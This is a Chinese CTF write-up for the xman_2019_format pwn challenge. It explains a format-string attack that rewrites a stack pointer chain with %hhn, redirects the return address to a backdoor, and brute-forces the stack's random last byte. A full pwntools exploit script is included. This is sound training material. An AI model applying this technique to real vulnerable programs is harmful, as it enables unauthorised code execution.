【爆破栈末位】xman_2019_format
Thursday, December 29, 2022
本文共999字
2分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E7%88%86%E7%A0%B4%E6%A0%88%E6%9C%AB%E4%BD%8Dxman_2019_format/。商业转载请联系作者获得授权,非商业转载请注明出处!
The longer we dwell on our misfortunes, the greater is their power to harm us.
— Voltaire
原题链接
checksec查看程序架构
$ checksec xman_2019_format
[*] '/home/giantbranch/share_files/security/workspace/xman_2019_format/xman_2019_format'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida查看程序伪代码
整个程序反编译出来逻辑非常混乱,但重要的只有三个函数:
有一个后门函数
这个函数说明了buf也就是保存字符串的地址在堆中
这个函数说明会将buf中的字符串以|
为分割符分割成多个子字符串并打印
这个程序因为只有一次输入的机会,而且无法更改ret值,所以获取shell权限要一次到位地完成,因此虽然可以泄露栈地址却难以加以利用。
因此如果我们要更改栈地址,就需要用到爆破
构建exp
ASLR对栈的影响
首先,每次加载程序的时候,栈基址都是不一样的,但是后12位为0
其次,因为页对齐的影响,因此栈地址除了栈基址还要加上一个页地址,这个页地址一定是4KB的整数倍,也就是说,这个页地址对最后12位是没有影响的
然后,栈地址还要加上一个偏移,这个偏移会对栈地址后12位造成影响,经过调试发现,同一个地址在每次运行的时候,最后4位也就是地址的最后一个16进制数是不变的
且看下述程序:
#include<stdio.h>
int main(void){
int a = 1;
printf("%p\n", &a);
return 0;
}
运行结果:
可以看到,对于64位程序,栈地址也是只有最后一位不变
我们再来看下32位程序的情况:
结论和64位程序是一样的
笔者也不知道产生此现象的根本原因,只能当作一个既定事实记了。如果有师傅知道此现象的原因,希望能在评论区留下您的解释,感谢您的付出!
笔者猜测原因:每次程序开始时会保证栈地址最后一位为0,这样经过既定数量的pop和push,在同一个相对位置的栈地址的最后一位是不变的
构建地址链
如图,如果我们用%hhn
将ebp位置指向的地址改为ret地址,那么0xffffd3b8
保存的地址就是ret地址,这样子我们就可以通过第三个红框框这条链来更改ret地址了
爆破
上述逻辑有一个问题,就是我们需要更改栈地址的末一个字节,而这个字节的高四位是不确定的,所以我们如果更改,则只有$\frac{1}{16}$的几率成功,那么我们就加一个while循环多试几次就好了
完整exp
from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher
import sys
pss: bool = False
fn: str = "./xman_2019_format"
libc_name: str = "./libc-2.23.so"
port: str = "28711"
if_32: bool = False
pg = p32 if if_32 else p64
context(arch="i386" if if_32 else "amd64", os="linux")
context.terminal=['tmux','splitw','-h']
if_debug: bool = False
m_elf = ELF(fn)
libc = ELF(libc_name)
backdoor = 0x80485AB
offset1 = 10
len1 = 0x6c
offset2 = 18
len2 = 0x85AB
format_string = f'%{len1}c%{offset1}$hhn|%{len2}c%{offset2}$hn'
success(format_string)
while(True):
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "b* 0x400BA1",)
else:
p = process(fn, env={"LD_PRELOAD": libc_name})
p.clean()
p.send(format_string)
gdb.attach(p, "b* 0x804860B")
p.clean()
try:
p.interactive()
except:
info("failed!")
p.close()
扫码阅读此文章
点击按钮复制分享信息
点击订阅